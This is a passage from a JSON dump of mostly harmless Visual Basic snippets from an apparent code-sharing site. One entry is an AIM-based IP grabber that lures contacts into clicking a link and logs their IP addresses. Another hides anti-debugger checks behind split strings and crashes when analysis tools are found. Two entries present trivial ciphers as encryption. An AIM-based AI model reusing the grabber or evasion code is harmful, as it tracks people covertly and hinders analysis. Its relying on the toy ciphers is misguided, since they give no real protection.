Me.Controls.Remove(\"MyTextBox\")\n Set objControl = Nothing\nEnd Sub\nYou can also load VB control with this method. \nLook in the object browser under the \"VB\" library\nand you'll the progid's for some of VB's\ncontrols.\nIn the above example, if you supply a progid of \nVB.TEXTBOX then it will load a regular textbox \nonto the screen.\nOf course, this provides you with no way to \ncapture events. In order to do this, you'll need \nto change the dim statement for the object. Try \nthis:\nDim WithEvents objControl As VBControlExtender\nand you can capture events like so:\nprivate sub objControl_MyEvent()\n msgbox \"MyEvent triggered\"\nend sub\nUnfortunately, when you try to set your \nVBControlExtender to a VB control (like \nVB.TEXTBOX), you get a type mismatch error. I \nhaven't figured out how to do this yet.\n</pre>\n"},{"WorldId":1,"id":9990,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9991,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9992,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9995,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9996,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10000,"LineNumber":1,"line":"Public Sub HackerScan()\nDim hFile As Long, retVal As Long\nDim sRegMonClass As String, sFileMonClass As String\n'\\\\We break up the class names to avoid detection in a hex editor\nsRegMonClass = \"R\" & \"e\" & \"g\" & \"m\" & \"o\" & \"n\" & \"C\" & \"l\" & \"a\" & \"s\" & \"s\"\nsFileMonClass = \"F\" & \"i\" & \"l\" & \"e\" & \"M\" & \"o\" & \"n\" & \"C\" & \"l\" & \"a\" & \"s\" & \"s\"\n'\\\\See if RegMon or FileMon are running\nSelect Case True\n Case FindWindow(sRegMonClass, vbNullString) <> 0\n 'Regmon is running...throw an access violation\n RaiseException EXCEPTION_ACCESS_VIOLATION, 0, 0, 0\n Case FindWindow(sFileMonClass, vbNullString) <> 0\n 'FileMon is running...throw an access violation\n RaiseException EXCEPTION_ACCESS_VIOLATION, 0, 0, 0\nEnd Select\n'\\\\So far so good...check for SoftICE in memory\nhFile = CreateFile(\"\\\\.\\SICE\", GENERIC_WRITE Or GENERIC_READ, FILE_SHARE_READ Or FILE_SHARE_WRITE, 0, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0)\nIf hFile <> -1 Then\n ' SoftICE is detected.\n retVal = CloseHandle(hFile) ' Close the file handle\n RaiseException EXCEPTION_ACCESS_VIOLATION, 0, 0, 0\nElse\n ' SoftICE is not found for windows 9x, check for NT.\n hFile = CreateFile(\"\\\\.\\NTICE\", GENERIC_WRITE Or GENERIC_READ, FILE_SHARE_READ Or FILE_SHARE_WRITE, 0, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0)\n If hFile <> -1 Then\n ' SoftICE is detected.\n retVal = CloseHandle(hFile) ' Close the file handle\n RaiseException EXCEPTION_ACCESS_VIOLATION, 0, 0, 0\n End If\nEnd If\nEnd Sub"},{"WorldId":1,"id":10002,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10005,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10006,"LineNumber":1,"line":"' Copyright ┬⌐ 2000 Phillip Senn<Phillip.Senn@alexlee.com>\n' Freely distribute\n' Special thanks to:\n' Lewis A. Shadoff, PhD http://websorcerer.com/h16/wheelie.html\nOption Explicit\nConst Radius = 127\nConst PI = 3.14159265358979\nFunction ReduceTo255(nmbr, base) As Single\nDim hexVal As Integer\nDim dig1 As Integer\nDim dig2 As Integer\nhexVal = nmbr * 255 / base\ndig1 = hexVal Mod 16\ndig2 = (hexVal - dig1) / 16\nReduceTo255 = dig2 * 16 + dig1\nEnd Function\nFunction ColorValue(Color As String, ang As Single, vector As Single, xPos As Integer, yPos As Integer) As Single\n'Calculate the color value for Red Green and Blue.\n'Value is between 0 and 65535.\n'For RED:\n'In the area bounded by an angle of 60 degrees and 300 degrees value is 65535.\n'(This is a right-hand-side quadrant)\n'Outside this area the value decreases linearly from the boundary of the area to the edge of the circle on a line parallel to the x-axis.\n'For GREEN:\n'The coordinates must be rotated 120 degrees clockwise and x and y re-calculated.\n'This transforms the circle so that the same calcualtion as for RED is valid.\n'For BLUE:\n'The coordinates are rotated 240 degrees.\nDim angCorr, angVal, xVal, yVal, X1, X2\nIf Color = \"red..\" Then angCorr = 0 * PI / 3\nIf Color = \"green\" Then angCorr = 2 * PI / 3\nIf Color = \"blue.\" Then angCorr = 4 * PI / 3\nangVal = ang - angCorr ' Apply rotation\nIf angVal < 0 Then angVal = angVal + 2 * PI ' If angle is negative, add 360 degrees\nIf Color = \"red..\" Then\n xVal = xPos\n yVal = yPos\nElse\n xVal = Abs(vector * Cos(angVal))\n yVal = Abs(vector * Sin(angVal))\n If angVal > PI / 2 And angVal < 3 * PI / 2 Then\n xVal = -xVal ' Get the sign right\n End If\nEnd If\nIf angVal <= 2 * PI / 6 Or angVal >= 10 * PI / 6 Then\n ColorValue = 65535 ' If inside the quadrant...\nElse ' If outside the quadrant...\n X1 = Sqr(Radius ^ 2 - yVal ^ 2) + xVal\n X2 = Abs(yVal) / Tan(PI / 3) - xVal\n ColorValue = 65535 * X1 / (X1 + X2)\nEnd If\nEnd Function\nPrivate Sub Form_Activate()\n'1) For each pixel within the Radius:\n'2) Calculate vector, the distance from the center of the circle\n'3) Calculate theta, the angle from the x-axis to the pixel (counterclockwise)\n'4) Calculate the RGB values (0 to 65535)\n'5) Convert to Hexadecimal values\n'6) Place the pixel on the form\nDim cursX As Integer, cursY As Integer\nDim theta As Single\nDim thetaDeg As Single\nDim vector As Single\nDim X As Long, Y As Long\nDim R As Long, G As Long, B As Long ' Red, Green, Blue\nX = Me.ScaleWidth / 2\nY = Me.ScaleHeight / 2\nFor cursX = -Radius To Radius\n For cursY = Radius To -Radius Step -1\n vector = Sqr(cursX * cursX + cursY * cursY)\n If vector <= Radius Then\n If vector = 0 Then vector = 1\n theta = aSin(Abs(cursY / vector))\n If cursX < 0 And cursY > 0 Then theta = 1 * PI - theta\n If cursX > 0 And cursY > 0 Then theta = 1 * theta\n If cursX < 0 And cursY < 0 Then theta = 1 * PI + theta\n If cursX > 0 And cursY < 0 Then theta = 2 * PI - theta\n thetaDeg = theta * 360 / 2 / PI\n R = ColorValue(\"red..\", theta, vector, cursX, cursY)\n G = ColorValue(\"green\", theta, vector, cursX, cursY)\n B = ColorValue(\"blue.\", theta, vector, cursX, cursY)\n R = ReduceTo255(R, 65535)\n G = ReduceTo255(G, 65535)\n B = ReduceTo255(B, 65535)\n Me.PSet (cursX + X, -cursY + Y), RGB(R, G, B)\n End If\n Next cursY\nNext cursX\nEnd Sub\nPrivate Function aSin(ByRef X As Variant) As Single\nIf X = 1 Then\n aSin = 0 ' This is why you see those red lines\nElse\n aSin = Atn(X / Sqr(-X * X + 1))\nEnd If\nEnd Function\nPrivate Sub Form_Load()\nMe.ScaleMode = vbPixels\nMe.WindowState = vbMaximized\nEnd Sub\n"},{"WorldId":1,"id":10007,"LineNumber":1,"line":"First let me explain the algorithm.\nFor encrypting:\n1) Dimension variables\n2) Clear all variables\n3) get the message\n4) Loop through the message\n5) In the loop, firstly randomize a number from 1 to 110 and hold this number in an array. Secondly increment a value by 1. Now, get the new character and add it to the encrypted message(Using chr$ in VB).\nNow after the loop has finished the message has been encrypted.\nTo Decrypt it:\n1) Get the coded message.\n2) Loop through teh coded message.\n3) increment a value by 1.\n4) by using the Chr$, mid$ and asc functions, take away the ascii relative to codded letter and add the letter to a variable (decoded message).\nIn a module set these variables:\nGlobal a% 'the value that increments in the loops\nGlobal msgnum(10000) As Long 'the array that holds the ascii numericals relative to the letters\nGlobal codedmsg As String 'the encrypted message\nIn your encryption procedure:\nDim n%\nDim x%\nDim message$\nDim emessage$\nDim word$\nDim ctext\nDim i As Integer\nErase msgnum 'erase all value in the array\na% = 0\nctext = txtmessage.Text \nword$ = \"\" \nFor i = 1 To Len(ctext) 'loop through the string\n Randomize\n x% = Int((110 * Rnd) + 1) 'randomize a number from 1 to 110.\n a% = a% + 1 'Increment this value as it is used in the array\n word$ = word$ & Chr$(Asc(Mid(c_text, i, 1)) + x%)\n'add the original letter ascii value to the randomized value and produce that character\n msgnum(a%) = x% 'hold the randomized number in the array\nNext i\ncodedmsg = word$\nIn your decryption procedure:\nDim msg$\nDim x%\nDim ctext\nDim word$\nDim decodedmsg\nDim i As Integer\n\nctext = codedmsg\nword$ = \"\"\na% = 0 \nFor i = 1 To Len(c_text) 'Loop through the coded message\n a% = a% + 1 'Increment value by 1\nword$ = word$ & Chr$(Asc(Mid(c_text, i, 1)) - msgnum(a%))\n'this time take away the the randomized value, which is held in the array from the codded character ascii value to produce the original letter\nNext i\ndecodedmsg = word$ 'Decoded msg\n"},{"WorldId":1,"id":10008,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10011,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10013,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10017,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10018,"LineNumber":1,"line":"'Go to the previous webpage\nWebBrowser1.GoBack\n'Go to the present webpage\nWebBrowser1.GoForward\n'Go to the default IE home\nWebBrowser1.GoHome\n'Go to the default search page\nWebBrowser1.GoSearch\n'Refresh the current webpage\nWebBrowser1.Refresh\n'Navigate to a webpage\nWebBrowser1.Navigate \"www.YourSite.com\"\n \n'Printing:\nWebBrowser1.ExecWB OLECMDID_PRINT, OLECMDEXECOPT_DONTPROMPTUSER\n'Saving a webpage:\nWebBrowser1.ExecWB OLECMDID_SAVEAS,OLECMDEXECOPT_PROMPTUSER\n'Open a webpage file on located on your computer:\nOn Error GoTo fileOpenErr\nCommonDialog1.CancelError = True\nCommonDialog1.flags = &H4& Or &H100& Or cdlOFNPathMustExist Or cdlOFNFileMustExist\nCommonDialog1.DialogTitle = \"Select File To Open\"\nCommonDialog1.Filter = \"HTM (*.htm)|*.htm|Txt Files (*.txt)|*.txt|Jpg Files (*.jpg)|*.jpg|Gif Files (*.gif)|*.gif|All Files (*.*)|*.*\"\nCommonDialog1.ShowOpen\nwebbrowser1.Navigate CommonDialog1.FileName\nfileOpenErr:\nExit Sub\n'Open a new web browser using your program and not IE:\nDim NewBrowser as Form1\nNewBrowser.Show\nNewBrowser.Caption = \"MyBrowser\"\n'Load IE Preferences:\nDim dblReturn As Double\ndblReturn = Shell(\"rundll32.exe shell32.dll,Control_RunDLL inetcpl.cpl,,0\", 5)\n'An advanced Stop:\nIf webbrowser1.Busy Then\nwebbrowser1.Stop\nwebbrowser1.GoBack\nEnd If"},{"WorldId":1,"id":10021,"LineNumber":1,"line":"Public Function ShellPrint(jFormHwnd As Long, FilePath As String) As String\n Dim Answer As Integer\n Dim Msg As String\n \n Answer = ShellExecute(jFormHwnd, \"Print\", FilePath, vbNullString, vbNullString, vbNormalFocus)\n If Answer <= 32 Then\n 'There was an error\n Select Case Answer\n Case SE_ERR_FNF\n Msg = \"File not found\"\n Case SE_ERR_PNF\n Msg = \"Path not found\"\n Case SE_ERR_ACCESSDENIED\n Msg = \"Access denied\"\n Case SE_ERR_OOM\n Msg = \"Out of memory\"\n Case SE_ERR_DLLNOTFOUND\n Msg = \"DLL not found\"\n Case SE_ERR_SHARE\n Msg = \"A sharing violation occurred\"\n Case SE_ERR_ASSOCINCOMPLETE\n Msg = \"Incomplete or invalid file association\"\n Case SE_ERR_DDETIMEOUT\n Msg = \"DDE Time out\"\n Case SE_ERR_DDEFAIL\n Msg = \"DDE transaction failed\"\n Case SE_ERR_DDEBUSY\n Msg = \"DDE busy\"\n Case SE_ERR_NOASSOC\n Msg = \"No association for file extension\"\n Case ERROR_BAD_FORMAT\n Msg = \"Invalid EXE file or error in EXE image\"\n Case Else\n Msg = \"Unknown error\"\n End Select\n End If\n ShellPrint = Msg\nEnd Function\n\nPrivate Sub Command1_Click()\n Dim x As String\n \n x = ShellPrint(Me.hwnd, \"C:\\Bad File\")\n \n If x <> vbNullString Then\n MsgBox x\n End If\nEnd Sub\n"},{"WorldId":1,"id":10023,"LineNumber":1,"line":"'Add two textboxes, one for the persons screen 'name and the other for what the link should say\n'Add a command button to send the IM\n'Add a ListBox, so the IPs can be stored in it\n'Add a winsock control\nPrivate Sub Command1_Click()\nCall SendIM(Text1, \"<a XXXX=\" & \"\"\"\" & Winsock1.LocalIP & \"\"\"\" & \">\" & Text2 & \"<\\a>)\nEnd Sub\n'XXXX = href\nPrivate Sub Form_Load()\nwinsock1.localport = 80\nwinsock1.listen\nEnd Sub\nPrivate Sub Winsock1_ConnectionRequest(ByVal requestID As Long)\nlist1.additem winsock1.remotehostip ' Adds the remote IP address to the list box\nEnd Sub\n' Add the following code to a module\nPublic Declare Function PostMessage Lib \"user32\" Alias \"PostMessageA\" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, ByVal lParam As Long) As Long\nPublic Declare Function GetWindow Lib \"user32\" (ByVal hwnd As Long, ByVal wCmd As Long) As Long\nPublic Declare Function SendMessage Lib \"user32\" Alias \"SendMessageA\" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, lParam As Any) As Long\nPublic Declare Function SendMessageByString Lib \"user32\" Alias \"SendMessageA\" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, ByVal lParam As String) As Long\nPublic Declare Function FindWindow Lib \"user32\" Alias \"FindWindowA\" (ByVal lpClassName As String, ByVal lpWindowName As String) As Long\nPublic Declare Function FindWindowEx Lib \"user32\" Alias \"FindWindowExA\" (ByVal hWnd1 As Long, ByVal hWnd2 As Long, ByVal lpsz1 As String, ByVal lpsz2 As String) As Long\n' Global & Public Const\nConst EM_UNDO = &HC7\nGlobal Const GFSR_SYSTEMRESOURCES = 0\nGlobal Const GFSR_GDIRESOURCES = 1\nGlobal Const GFSR_USERRESOURCES = 2\nGlobal Const WM_MDICREATE = &H220\nGlobal Const WM_MDIDESTROY = &H221\nGlobal Const WM_MDIACTIVATE = &H222\nGlobal Const WM_MDIRESTORE = &H223\nGlobal Const WM_MDINEXT = &H224\nGlobal Const WM_MDIMAXIMIZE = &H225\nGlobal Const WM_MDITILE = &H226\nGlobal Const WM_MDICASCADE = &H227\nGlobal Const WM_MDIICONARRANGE = &H228\nGlobal Const WM_MDIGETACTIVE = &H229\nGlobal Const WM_MDISETMENU = &H230\nGlobal Const WM_CUT = &H300\nGlobal Const WM_COPY = &H301\nGlobal Const WM_PASTE = &H302\nGlobal Const SND_SYNC = &H0\nGlobal Const SND_ASYNC = &H1\nGlobal Const SND_NODEFAULT = &H2\nGlobal Const SND_LOOP = &H8\nGlobal Const SND_NOSTOP = &H10\nPublic Const WM_CHAR = &H102\nPublic Const WM_SETTEXT = &HC\nPublic Const WM_USER = &H400\nPublic Const WM_KEYDOWN = &H100\nPublic Const WM_KEYUP = &H101\nPublic Const WM_LBUTTONDOWN = &H201\nPublic Const WM_LBUTTONUP = &H202\nPublic Const WM_CLOSE = &H10\nPublic Const WM_COMMAND = &H111\nPublic Const WM_CLEAR = &H303\nPublic Const WM_DESTROY = &H2\nPublic Const WM_GETTEXT = &HD\nPublic Const WM_GETTEXTLENGTH = &HE\nPublic Const WM_LBUTTONDBLCLK = &H203\nPublic Const BM_GETCHECK = &HF0\nPublic Const BM_GETSTATE = &HF2\nPublic Const BM_SETCHECK = &HF1\nPublic Const BM_SETSTATE = &HF3\nPublic Const EWX_FORCE = 4\nPublic Const EWX_LOGOFF = 0\nPublic Const EWX_REBOOT = 2\nPublic Const EWX_SHUTDOWN = 1\nPublic Const LB_GETITEMDATA = &H199\nPublic Const LB_GETCOUNT = &H18B\nPublic Const LB_ADDSTRING = &H180\nPublic Const LB_DELETESTRING = &H182\nPublic Const LB_FINDSTRING = &H18F\nPublic Const LB_FINDSTRINGEXACT = &H1A2\nPublic Const LB_GETCURSEL = &H188\nPublic Const LB_GETTEXT = &H189\nPublic Const LB_GETTEXTLEN = &H18A\nPublic Const LB_SELECTSTRING = &H18C\nPublic Const LB_SETCOUNT = &H1A7\nPublic Const LB_SETCURSEL = &H186\nPublic Const LB_SETSEL = &H185\nPublic Const LB_INSERTSTRING = &H181\nPublic Const VK_HOME = &H24\nPublic Const VK_RIGHT = &H27\nPublic Const VK_CONTROL = &H11\nPublic Const VK_DELETE = &H2E\nPublic Const VK_DOWN = &H28\nPublic Const VK_LEFT = &H25\nPublic Const VK_RETURN = &HD\nPublic Const VK_SPACE = &H20\nPublic Const VK_TAB = &H9\nPublic Const HWND_TOP = 0\nPublic Const HWND_NOTOPMOST = -2\nPublic Const SWP_NOMOVE = &H2\nPublic Const SWP_NOSIZE = &H1\n\nPublic Const GW_CHILD = 5\nPublic Const GW_HWNDFIRST = 0\nPublic Const GW_HWNDLAST = 1\nPublic Const GW_HWNDNEXT = 2\nPublic Const GW_HWNDPREV = 3\nPublic Const GW_MAX = 5\nPublic Const GW_OWNER = 4\nPublic Const SW_MAXIMIZE = 3\nPublic Const SW_MINIMIZE = 6\nPublic Const SW_HIDE = 0\nPublic Const SW_RESTORE = 9\nPublic Const SW_SHOW = 5\nPublic Const SW_SHOWDEFAULT = 10\nPublic Const SW_SHOWMAXIMIZED = 3\nPublic Const SW_SHOWMINIMIZED = 2\nPublic Const SW_SHOWMINNOACTIVE = 7\nPublic Const SW_SHOWNOACTIVATE = 4\nPublic Const SW_SHOWNORMAL = 1\nPublic Const MF_APPEND = &H100&\nPublic Const MF_DELETE = &H200&\nPublic Const MF_CHANGE = &H80&\nPublic Const MF_ENABLED = &H0&\nPublic Const MF_DISABLED = &H2&\nPublic Const MF_REMOVE = &H1000&\nPublic Const MF_POPUP = &H10&\nPublic Const MF_STRING = &H0&\nPublic Const MF_UNCHECKED = &H0&\nPublic Const MF_CHECKED = &H8&\nPublic Const MF_GRAYED = &H1&\nPublic Const MF_BYPOSITION = &H400&\nPublic Const MF_BYCOMMAND = &H0&\nPublic Const GWW_HINSTANCE = (-6)\nPublic Const GWW_ID = (-12)\nPublic Const GWL_STYLE = (-16)\nPublic Const ENTA = 13\nPublic Const PROCESS_VM_READ = &H10\nPublic Const STANDARD_RIGHTS_REQUIRED = &HF0000\nPrivate Const EM_LINESCROLL = &HB6\nPrivate Const SPI_SCREENSAVERRUNNING = 97\nType RECT\n Left As Long\n Top As Long\n Right As Long\n bottom As Long\nEnd Type\nType POINTAPI\n X As Long\n y As Long\nEnd Type\nSub IM_Send(SendName As String, SayWhat As String, CloseIM As Boolean)\n' My send IM comes with a little thing where you can eather close\n' it or not close it....\n' Ex: Call IM_Send(\"ThereSn\",\"Sup man\",True) <-- that closes the IM\n' Put False to not close the IM, All the IM sends have the TRUE FALSE thing\n Dim BuddyList As Long\n BuddyList& = FindWindow(\"_Oscar_BuddyListWin\", vbNullString)\n If BuddyList& <> 0& Then\n GoTo Start\n Else\n Exit Sub\n End If\nStart:\n \n Dim TabWin As Long, IMButtin As Long, IMWin As Long\n Dim ComboBox As Long, TextEditBox As Long, TextSet As Long\n Dim EditThing As Long, TextSet2 As Long, SendButtin As Long, Click As Long\n BuddyList& = FindWindow(\"_Oscar_BuddyListWin\", vbNullString)\n TabWin& = FindWindowEx(BuddyList&, 0, \"_Oscar_TabGroup\", vbNullString)\n IMButtin& = FindWindowEx(TabWin&, 0, \"_Oscar_IconBtn\", vbNullString)\n Click& = SendMessage(IMButtin&, WM_LBUTTONDOWN, 0, 0&)\n Click& = SendMessage(IMButtin&, WM_LBUTTONUP, 0, 0&)\n \n IMWin& = FindWindow(\"AIM_IMessage\", vbNullString)\n ComboBox& = FindWindowEx(IMWin&, 0, \"_Oscar_PersistantCombo\", vbNullString)\n TextEditBox& = FindWindowEx(ComboBox&, 0, \"Edit\", vbNullString)\n TextSet& = SendMessageByString(TextEditBox&, WM_SETTEXT, 0, SendName$)\n \n EditThing& = FindWindowEx(IMWin&, 0, \"WndAte32Class\", vbNullString)\n EditThing& = GetWindow(EditThing&, 2)\n TextSet2& = SendMessageByString(EditThing&, WM_SETTEXT, 0, SayWhat$)\n SendButtin& = FindWindowEx(IMWin&, 0, \"_Oscar_IconBtn\", vbNullString)\n Click& = SendMessage(SendButtin&, WM_LBUTTONDOWN, 0, 0&)\n Click& = SendMessage(SendButtin&, WM_LBUTTONUP, 0, 0&)\n If CloseIM = True Then\n Win_Killwin (IMWin&)\n Else\n Exit Sub\n End If\nEnd Sub\nSub Win_Killwin(TheWind&)\n Call PostMessage(TheWind&, WM_CLOSE, 0&, 0&)\nEnd Sub\n'If you have any questions or problems please leave feedback, or email me at vbproggy_boy@hotmail.com, thanks"},{"WorldId":1,"id":10027,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10035,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10039,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10042,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10045,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10046,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10047,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10049,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10051,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10058,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10060,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10065,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10067,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10069,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10076,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10077,"LineNumber":1,"line":"Private Sub Form_Load()\n Timer1.Interval = 1\nEnd Sub\nPrivate Sub Timer1_Timer()\n Label1.Caption = Time\nEnd Sub"},{"WorldId":1,"id":10084,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10093,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10096,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10101,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10102,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10107,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10109,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10110,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10111,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10112,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10114,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10117,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10118,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10120,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10122,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10126,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10128,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10132,"LineNumber":1,"line":"Private Sub WebBrowser1_CommandStateChange(ByVal Command As Long, ByVal Enable As Boolean)\nOn Error Resume Next\nSelect Case Command\n Case CSC_NAVIGATEFORWARD\n If Enable = True Then\n 'Forward dispo\n ForwardEnable = True\n RaiseEvent ForwardUpdate(True)\n Else\n 'Forward non dispo\n ForwardEnable = False\n RaiseEvent ForwardUpdate(False)\n End If\n 'Pas de forward\n Case CSC_NAVIGATEBACK\n If Enable = True Then\n BackEnable = True\n RaiseEvent BackUpdate(True)\n 'Back dispo\n Else\n BackEnable = False\n RaiseEvent BackUpdate(False)\n 'Back non dispo\n End If\nEnd Select\n If Command = -1 Then Exit Sub\n'End If\nEnd Sub"},{"WorldId":1,"id":10133,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10134,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10136,"LineNumber":1,"line":"create a textbox on an empty form \nin the property window of the textbox change the OLEDropMode to \"Manual\".\n \nnow add this function to your form code:\n \n \nPrivate Sub Text1_OLEDragDrop(Data As DataObject, Effect As Long, Button As Integer, Shift As Integer, X As Single, Y As Single)\n \n \n If Data.GetFormat(vbCFFiles) Then Text1.Text = Data.Files(1)\n \n \nEnd Sub\n \nadd the following if you don't want to show the drag drop mouse pointer when the item is not a file \n \nPrivate Sub Text1_OLEDragOver(Data As DataObject, Effect As Long, Button As Integer, Shift As Integer, X As Single, Y As Single, State As Integer) \n If Not Data.GetFormat(vbCFFiles) Then Effect = vbDropEffectNone\n \n \nEnd Sub\n"},{"WorldId":1,"id":10139,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10141,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10146,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10149,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10156,"LineNumber":1,"line":"Dim ShellUIHelper1 As ShellUIHelper\n \nSub ImportFavorites(NetscapePath As String)\n Set ShellUIHelper1 = New ShellUIHelper\n ShellUIHelper1.ImportExportFavorites True, NetscapePath\nEnd Sub\nSub ExportFavorites(NetscapePath As String)\n Set ShellUIHelper1 = New ShellUIHelper\n ShellUIHelper1.ImportExportFavorites False, NetscapePath\nEnd Sub"},{"WorldId":1,"id":10157,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10158,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10160,"LineNumber":1,"line":"Option Explicit\nPrivate Sub Command1_MouseDown(Button As Integer, Shift As Integer, X As Single, Y As Single)\nCommand1.Left = Command1.Left + 60\nCommand1.Top = Command1.Top + 60\nEnd Sub\nPrivate Sub Command1_MouseUp(Button As Integer, Shift As Integer, X As Single, Y As Single)\nCommand1.Left = Command1.Left - 60\nCommand1.Top = Command1.Top - 60\nEnd Sub\n"},{"WorldId":1,"id":10165,"LineNumber":1,"line":"Private Sub Command1_Click()\nDim Text As String, Password As String\nText = \"Hello\"\nPassword = \"Pass\"\nPrint Text\nText = Crypt(Text, Password, True)\nPrint Text\nText = Crypt(Text, Password, False)\nPrint Text\nEnd Sub\nPublic Function Crypt(Source As String, strPassword As String, EnDeCrypt As Boolean) As String\n'EnDeCrypt True = Encrypt\n'EnDeCrypt False = Decrypt\nDim intPassword As Long\nDim intCrypt As Long\nFor x = 1 To Len(strPassword)\n intPassword = intPassword + Asc(Mid$(strPassword, x, 1))\nNext x\nFor x = 1 To Len(Source)\nIf EnDeCrypt = True Then\n intCrypt = Asc(Mid$(Source, x, 1)) + intPassword + x\n \n Do Until intCrypt <= 255\n intCrypt = intCrypt - 255\n Loop\nElse\n intCrypt = Asc(Mid$(Source, x, 1)) - intPassword - x\n \n Do Until intCrypt > 0\n intCrypt = intCrypt + 255\n Loop\nEnd If\nCrypt = Crypt & Chr(intCrypt)\nNext x\nEnd Function\n"},{"WorldId":1,"id":10167,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10171,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10176,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10177,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10183,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10184,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10185,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10189,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10190,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10192,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10194,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10215,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10222,"LineNumber":1,"line":"Private Sub FadeRed(Label As Label)\nStatic FadeColor As Integer\nFadeColor = FadeColor + 1\nLabel.ForeColor = RGB (FadeColor*2.5, 0, 0)\nEnd Sub\n\nPrivate Sub FadeBlue(Label As Label)\nStatic FadeColor As Integer\nFadeColor = FadeColor + 1\nLabel.ForeColor = RGB (0, 0, FadeColor*2.5)\nEnd Sub\n\nPrivate Sub FadeGreen(Label As Label)\nStatic FadeColor As Integer\nFadeColor = FadeColor + 1\nLabel.ForeColor = RGB (0, FadeColor*2.5, 0)\nEnd Sub"},{"WorldId":1,"id":10227,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10228,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10232,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10233,"LineNumber":1,"line":"if A.left + A.width > B.left then\n if A.left < B.left + B.width then\n if A.top < B.top + B.height then\n if A.top + A.height > B.top then \n 'Collission Detected.\n 'further actions here\n MsgBox \"collission detected\"\n else\n 'no collission\n 'further actions here\n MsgBox \"no collision\"\n end if\n end if\n end if\nend if\n"},{"WorldId":1,"id":10235,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10239,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10240,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10243,"LineNumber":1,"line":"Dim strTest As String\nPrivate Sub Command1_Click()\nFileNum = FreeFile() 'Finds a freefile where it can write to\nOpen App.Path & \"\\Test.test\" For Input As FileNum 'opens the file to (input = get data)\n Input #FileNum, strTest 'Get data by putting Input then the FileNumber you opened in (we used a variable FileNum) then a comma then the variable you want to store.\nClose FileNum 'Close the FileNumber you opened...'Close' by itself will close ALL of your open files.\nText1.Text = strTest 'sets the textbox's text = to what was is the file\nEnd Sub\nPrivate Sub Command2_Click()\nFileNum = FreeFile()\nOpen App.Path & \"\\Test.test\" For Output As FileNum 'Output clears the file and gives you access to write to it with the Write command\n Write #FileNum, strTest 'Write then #FileNumber (we used a variable) then a comma then the variable you want to save\nClose FileNum 'You can save multiple variables at once if you seperate them by commas\nEnd Sub\nPrivate Sub Command3_Click()\nKill App.Path & \"\\Test.test\"\n'Deletes File \"Test.test\" at the application's path\nEnd Sub\nPrivate Sub Text1_Change()\nstrTest = 